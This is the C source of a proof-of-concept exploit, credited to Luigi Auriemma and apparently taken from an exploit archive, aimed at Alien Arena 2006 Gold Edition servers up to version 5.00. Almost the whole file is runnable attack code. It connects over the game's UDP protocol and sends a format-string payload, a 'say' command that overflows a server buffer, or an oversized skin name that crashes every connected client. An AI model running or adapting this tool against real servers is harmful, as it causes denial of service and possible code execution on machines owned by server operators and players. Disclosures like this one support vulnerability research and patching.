====================================================================== Alien Arena 2006 Gold Edition <= 5.00 Multiple Vulnerabilities Exploit ====================================================================== /* by Luigi Auriemma */ #include #include #include #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #else #include #include #include #include #include #include #include #define stricmp strcasecmp #define strnicmp strncasecmp #define stristr strcasestr #endif #define VER "0.1" #define PORT 27910 #define BUFFSZ 8192 #define MINPROTO 0 #define MAXPROTO 256 #define RELIABLE 0x80000000 #define FUCK "connect %d %hu" \ " %d " \ "\"" \ "\\spectator\\0" \ "\\gender\\male" \ "\\fov\\90" \ "\\rate\\25000" \ "\\msg\\1" \ "\\skin\\%s" \ "\\name\\%s" \ "\\hand\\0" \ "%s" \ "\" " \ "1390\n" // message length (useless for this game) #define MAX_OSPATH 128 // 110 is enough, more is useless! #define BOFSZ (2060 - strlen(nick)) // not exact but works #define FORMATSTR "%01050x" // you will see the EIP 0x30303030 int get_quake2_chall(int sd, u_char *buff, int buffsz); void get_quake2_infoproto(int onlyinfo, int *retproto); void delimit(u_char *data); int quake2_build_pck(u_int seq, u_int ack, u_short qport, u_char *buff, int size, u_char *fmt, ...); int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err); int create_rand_string(u_char *data, int len, u_int *seed); int info_proto(u_char *data, int choice); int timeout(int sock); u_int resolv(char *host); void std_err(void); struct sockaddr_in peer; int main(int argc, char *argv[]) { u_int seed; int sd, len, challenge, proto = 0, attack; u_short port = PORT, qport; u_char password[128], buff[BUFFSZ], nick[16], *text, *skin = "male/grunt", *command = NULL; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "Alien Arena 2006 GE <= 5.00 multiple vulnerabilities " VER "\n" "by Luigi Auriemma\n" "e-mail: [email protected]\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s [port(%hu)]\n" "\n" "Attack:\n" " 1 = safe_cprintf server format string\n" " 2 = Cmd_Say_f server buffer-overflow\n" " 3 = Com_sprintf crash\n" " this PoC uses a player with a big skin which automatically crash any\n" " client in the server and any other new client\n" "\n", argv[0], port); exit(1); } attack = atoi(argv[1]); if(argc > 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(argv[2]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); seed = time(NULL); qport = ~seed; text = buff + 4; *password = 0; get_quake2_infoproto(0, &proto); printf("- use server protocol %d\n", proto); create_rand_string(nick, sizeof(nick), &seed); // here for buffer-overflow and redo if(attack == 1) { fputs("- attack: safe_cprintf server format string (\""FORMATSTR"\")\n", stdout); command = FORMATSTR; } else if(attack == 2) { printf("- attack: Cmd_Say_f server buffer-overflow (%d bytes)\n", BOFSZ); command = malloc(BOFSZ + 10); len = sprintf(command, "say "); memset(command + len, 'A', BOFSZ); command[len + BOFSZ] = 0; } else if(attack == 3) { printf( "- attack: Com_sprintf crash\n" " exploitation versus all the clients in the server\n" " note that some clients could not crash in some cases\n"); skin = malloc(MAX_OSPATH + 1); if(!skin) std_err(); memset(skin, 'a', MAX_OSPATH); skin[MAX_OSPATH] = 0; } else { printf("\nError: wrong attack number (%d)\n\n", attack); exit(1); } redo: printf("- start connection:\n"); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); challenge = get_quake2_chall(sd, buff, sizeof(buff)); len = quake2_build_pck( 0xffffffff, 0, 0, buff, sizeof(buff), FUCK, proto, ++qport, challenge, skin, nick, password); len = send_recv(sd, buff, len, buff, sizeof(buff), 1); if(strnicmp(text, "client_connect", 14)) { if(stristr(text, "full")) { printf("- server full\n"); exit(1); } else if(stristr(text, "password")) { printf("- server is protected. Insert the password required:\n "); len = sprintf(password, "\\password\\"); fflush(stdin); fgets(password + len, sizeof(password) - len, stdin); delimit(password); goto redo; } else if(stristr(text, "refused") || stristr(text, "reject")) { printf("\n" "Error: your connection has been refused without reasons:\n" "\n" "%s\n" "\n", text); exit(1); } else { printf( "- player has not been accepted with the following error:\n" "\n" "%s\n" "\n", text); exit(1); } } printf(" player \"%s\" connected\n", nick); if(command) { len = quake2_build_pck( 1 | RELIABLE, 0, qport, buff, sizeof(buff), command, NULL); // the NULL here forces no format printf(" command: %s\n", buff + 11); len = send_recv(sd, buff, len, buff, sizeof(buff), 1); } close(sd); printf("- finished\n"); return(0); } int get_quake2_chall(int sd, u_char *buff, int buffsz) { int len, challenge; u_char *p, *text; text = buff + 4; len = quake2_build_pck( 0xffffffff, 0, 0, buff, buffsz, "getchallenge\n"); len = send_recv(sd, buff, len, buff, buffsz, 1); p = strchr(text, ' '); if(!p) { printf("\nError: No challenge key in the server's reply:\n%s\n\n", text); exit(1); } sscanf(p + 1, "%d", &challenge); printf(" challenge: %d\n", challenge); return(challenge); } void get_quake2_infoproto(int onlyinfo, int *retproto) { int sd, len, proto; u_char buff[BUFFSZ], *text, *p; proto = 35; text = buff + 4; printf("- request informations and retrieve server protocol:\n"); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); len = quake2_build_pck( 0xffffffff, 0, 0, buff, sizeof(buff), "status"); len = send_recv(sd, buff, len, buff, sizeof(buff), 1); if(*buff == '\\') { printf("- the port you have specified seems a query port so I try to query it:\n"); len = send_recv(sd, "\\status\\", 8, buff, sizeof(buff), 1); len = info_proto(buff, 0); if(len > 0) { printf("- relaunch this tool specifying the port %d\n\n", len); } close(sd); exit(1); } proto = info_proto(text, 1); if(onlyinfo || *retproto) return; if(proto < 0) { printf( "- no server protocol specified in the server's reply.\n" " I try to retrieve it with a fast scanning\n"); for(proto = MINPROTO; proto < MAXPROTO; proto++) { printf("- try protocol %d: ", proto); len = quake2_build_pck( 0xffffffff, 0, 0, buff, sizeof(buff), "info %d", proto); len = send_recv(sd, buff, len, buff, sizeof(buff), 0); if(len < 0) { printf("- no reply from the server, I try to get protocol from challenge"); len = quake2_build_pck( 0xffffffff, 0, 0, buff, sizeof(buff), "getchallenge\n"); len = send_recv(sd, buff, len, buff, sizeof(buff), 1); printf(" %s\n", text); p = strchr(text, '='); if(p) { sscanf(p + 1, "%d", &proto); } else { printf("- no protocol in the reply from the server\n"); proto = 35; } break; } if(!stristr(text, "wrong")) break; printf("%s\n", text); } if(proto == MAXPROTO) { printf("\nError: I have not been able to retrieve the server's protocol\n\n"); exit(1); } fputc('\n', stdout); } close(sd); *retproto = proto; } void delimit(u_char *data) { while(*data && (*data != '\n') && (*data != '\r')) data++; *data = 0; } int quake2_build_pck(u_int seq, u_int ack, u_short qport, u_char *buff, int size, u_char *fmt, ...) { va_list ap; int len; u_char *p; p = buff; *(u_int *)p = seq; p += 4; if(seq != 0xffffffff) { *(u_int *)p = ack; p += 4; *(u_short *)p = qport; p += 2; *p++ = 4; } len = p - buff; va_start(ap, fmt); // check to avoid sprintf, is not important if fails or not if(va_arg(ap, u_char *)) { va_end(ap); va_start(ap, fmt); len += vsnprintf(p, (size - 1) - len, fmt, ap); } else { len += snprintf(p, (size - 1) - len, "%s", fmt); } va_end(ap); return(len + 1); // NULL byte too } int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) { int retry, len; for(retry = 3; retry; retry--) { if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(!timeout(sd)) break; } if(!retry) { if(!err) return(-1); fputs("\nError: socket timeout, no reply received\n\n", stdout); exit(1); } outsz--; // NULL bytes handling len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0) std_err(); out[len] = 0; return(len); } int create_rand_string(u_char *data, int len, u_int *seed) { u_int rnd; u_char *p; const static u_char table[] = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; rnd = *seed; p = data; len = rnd % len; if(len < 8) len = 8; while(--len) { rnd = (rnd * 0x343FD) + 0x269EC3; rnd >>= 3; *p++ = table[rnd % (sizeof(table) - 1)]; } *p++ = 0; *seed = rnd; return(p - data); } int info_proto(u_char *data, int choice) { int nt = 1, ret = -1; u_char *p; while((p = strchr(data, '\\'))) { *p = 0; if(nt & 1) { if(!ret) { ret = atoi(data); if(!ret) ret = -1; } printf("%s\n", data); } else { if(choice) { // protocol if(!stricmp(data, "protocol") || !stricmp(data, "proto")) ret = 0; } else { if(!stricmp(data, "hostport")) ret = 0; } printf("%30s: ", data); } data = p + 1; nt++; } printf("%s\n\n", data); return(ret); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = 1; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)(hp->h_addr); } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif # 0day.today [2018-01-05] #

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